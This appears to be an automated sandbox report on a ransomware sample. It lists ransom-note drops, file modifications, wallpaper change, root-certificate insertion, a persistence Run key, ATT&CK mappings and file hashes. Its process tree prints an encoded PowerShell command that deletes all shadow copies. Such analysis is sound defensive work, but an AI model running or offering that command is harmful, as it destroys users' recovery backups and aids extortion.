97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\U: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\W: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\X: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\D: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe -
Drops file in System32 directory 1 IoCs
Processes:
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exedescription ioc process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2969888527-3102471180-2307688834-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2c6s4cgd3z.bmp" 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe -
Drops file in Program Files directory 16 IoCs
Processes:
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exedescription ioc process File opened for modification \??\c:\program files\MeasureWait.vdw 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File created \??\c:\program files (x86)\readme-cr0v4-NOW.txt 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\CheckpointInstall.zip 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\EnterSplit.aifc 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\StartGrant.doc 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\readme-cr0v4-NOW.txt 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\ApproveExit.wdp 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\BackupUnprotect.xlsx 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\ExportUnlock.mp3 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\OpenSave.wm 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\RemoveGrant.pot 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\readme-cr0v4-NOW.txt 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\readme-cr0v4-NOW.txt 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File created \??\c:\program files\readme-cr0v4-NOW.txt 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\ConvertToInitialize.i64 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened for modification \??\c:\program files\OpenCopy.cr2 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe -
Processes:
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exepowershell.exepid process 2332 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe 1952 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 2332 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeBackupPrivilege 2436 vssvc.exe Token: SeRestorePrivilege 2436 vssvc.exe Token: SeAuditPrivilege 2436 vssvc.exe Token: SeTakeOwnershipPrivilege 2332 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exedescription pid process target process PID 2332 wrote to memory of 1952 2332 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe powershell.exe PID 2332 wrote to memory of 1952 2332 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe powershell.exe PID 2332 wrote to memory of 1952 2332 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe powershell.exe PID 2332 wrote to memory of 1952 2332 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe"C:\Users\Admin\AppData\Local\Temp\97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2332 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2888
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2436
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
3Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
62KB
MD53ac860860707baaf32469fa7cc7c0192
SHA1c33c2acdaba0e6fa41fd2f00f186804722477639
SHA256d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904
SHA512d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c
-
Filesize
164KB
MD54ff65ad929cd9a367680e0e5b1c08166
SHA1c0af0d4396bd1f15c45f39d3b849ba444233b3a2
SHA256c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6
SHA512f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27
-
Filesize
5KB
MD578828999c43b717fe00afd1fa00833ba
SHA1b385d9f09b73e2d390ed8de004a39d8f4be64e28
SHA2561e4025b1ef5c97649c18112a16d8c5a5dcfc9a5da6d97d1cf25114ed05e601e5
SHA512ce9146e0af633bed5154c6158268627d508b13d056e549ce7fe03a2980fa14e7f7d96ff7bdd8bcb2bcff87f0b7533e783dcb4b7ca3baaf32de97815767f5d76c
-
Filesize
194KB
MD5bc6362a1913e12e51168d98208922f59
SHA1b69d30da0f081e7e320c49d127f5308a20828863
SHA256f4af4fe75782f895049ff9ab95657481be015503918eb46633bd174869d4180b
SHA512d42883eb6cfa77ce9efd18f6a95bd4d0cf59d33669c34bb420325adec24ee3c9ba9b09f22561049b2f583d41495f5382617f11b509f6e1babb29e216470fe068